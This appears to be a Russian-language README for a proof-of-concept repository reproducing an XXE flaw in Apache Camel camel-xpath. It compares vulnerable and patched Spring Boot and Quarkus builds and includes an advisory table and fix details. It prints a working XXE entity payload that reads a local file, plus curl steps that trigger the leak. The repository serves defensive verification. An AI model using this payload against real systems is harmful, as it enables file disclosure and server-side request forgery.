
Рабочий proof-of-concept XXE для CVE-2026-85250 в Apache Camel camel-xpath (documentType=InputSource), с демонстрациями уязвимой и исправленной версий для Spring Boot и Quarkus.
documentType=InputSource)Запускаемый воспроизводитель proof-of-concept для уязвимости Apache Camel, при которой с documentType, установленным в
InputSource, XPathBuilder передавал полезную нагрузку напрямую в javax.xml.xpath, который создаёт собственный DocumentBuilder,
используя настройки JDK по умолчанию. Таким образом, защитные меры, применённые к типу документа по умолчанию в Camel, были обойдены: объявление
DOCTYPE, которое отклоняется для типа по умолчанию, здесь принималось, а объявленная в нём внешняя сущность
разрешалась и раскрывалась в вычисляемом документе. Внешний отправитель, чей XML достигает такого выражения, мог
прочитать файлы, доступные процессу Camel, и заставить процесс отправлять запросы на указанные им хосты.
| Среда выполнения | Каталог | Стек |
|---|---|---|
| Camel Spring Boot | camel-spring-boot/ | Spring Boot 3.5.13 + camel-xpath 4.22.0 (уязвим; исправлено в 4.22.1) |
| Camel Quarkus | camel-quarkus/ | Quarkus 3.29.0 + camel-quarkus-xpath (Camel 4.15.0, уязвим; контроль с исправлением CQ 3.40.0 / Camel 4.22.1) |
Оба модуля демонстрируют как уязвимое, так и исправленное поведение.
На диске размещается безобидный «секретный» файл (cve-2026-85250-secret.txt, содержащий строку-маркер), заменяющий
локальный файл, доступный процессу Camel. Атакующий отправляет XML — как InputStream, который преобразуется в
InputSource — содержащий DOCTYPE, внешняя сущность которого ссылается на этот файл:
<!DOCTYPE foo [ <!ELEMENT test ANY > <!ENTITY xxe SYSTEM "file:///…/cve-2026-85250-secret.txt" >]>
<test>&xxe;</test>
Маршрут вычисляет xpath("/test/text()").documentType(InputSource.class) по телу запроса.
InputSource (по умолчанию в JDK) разрешает внешнюю сущность, поэтому результатом XPath становится
содержимое файла — маркер похищается.DOCTYPE отклоняется усиленным парсером (тем же, что используется для типа документа по умолчанию), поэтому
вычисление завершается ошибкой до разрешения какой-либо сущности.# Camel Spring Boot
cd camel-spring-boot
mvn clean package
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack # affected: file contents leak into the result; >>> PROVEN
docker compose down
# Patched control
mvn clean package -Dcamel.version=4.22.1
java -jar target/cve-2026-85250-xpath-xxe-0.0.1-SNAPSHOT.jar &
curl -s http://localhost:8080/exploit/attack # fixed: DOCTYPE refused; >>> Not exploited
# Camel Quarkus
cd camel-quarkus
mvn clean package
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack # affected (Camel 4.15.0): file contents leak
docker compose down
# Patched control: CQ 3.40.0 ships Camel 4.22.1
mvn clean package -Dcamel-quarkus.version=3.40.0 -Dquarkus.platform.version=3.40.0
java -jar target/quarkus-app/quarkus-run.jar &
curl -s http://localhost:8080/exploit/attack # fixed: DOCTYPE refused
| Свойство | Значение |
|---|---|
| Компонент | camel-xpath (XPathBuilder, documentType=InputSource) |
| CWE | CWE-611 (Ненадлежащее ограничение ссылки на внешнюю сущность XML) |
| Критичность | ВЫСОКАЯ |
| Вектор атаки | Недоверенный XML, обрабатываемый выражением XPath, настроенным с documentType=InputSource |
| Воздействие | XXE: раскрытие локальных файлов и подделка запросов на стороне сервера через внешние сущности |
| Затронутые версии | От 4.0.0 до 4.18.5, от 4.19.0 до 4.22.1 |
| Исправленные версии | 4.18.5, 4.22.1, 4.23.0 |
| JIRA | CAMEL-24475 |
| Благодарность | Claude Security Scan Tool |
Уведомление: https://camel.apache.org/security/CVE-2026-85250.html
XPathBuilder теперь направляет InputSource (и SAXSource) через
toHardenedDocument(), который преобразует его в org.w3c.dom.Document с использованием того же усиленного
DocumentBuilderFactory, который уже используется типом документа по умолчанию, прежде чем передать его движку XPath — таким образом, оба
типа документов разбираются с одинаковой конфигурацией, а DOCTYPE отклоняется. Обратите внимание, что тип InputSource теперь также
разделяет документированный обходной путь типа по умолчанию: те же системные свойства DocumentBuilderFactory, которые ослабляют
тип по умолчанию, ослабляют и этот.
Не используйте documentType=InputSource для выражений, вычисляемых над недоверенным XML; тип документа по умолчанию уже
отклоняет DOCTYPE.
Этот репозиторий публикуется в образовательных и защитных целях: чтобы помочь пользователям Apache Camel понять уязвимость, проверить, затронуты ли они, и убедиться, что обновление её устраняет. Файл «secret» — это инертный, специально размещённый маркер. Не используйте этот материал против систем, которыми вы не владеете и не управляете.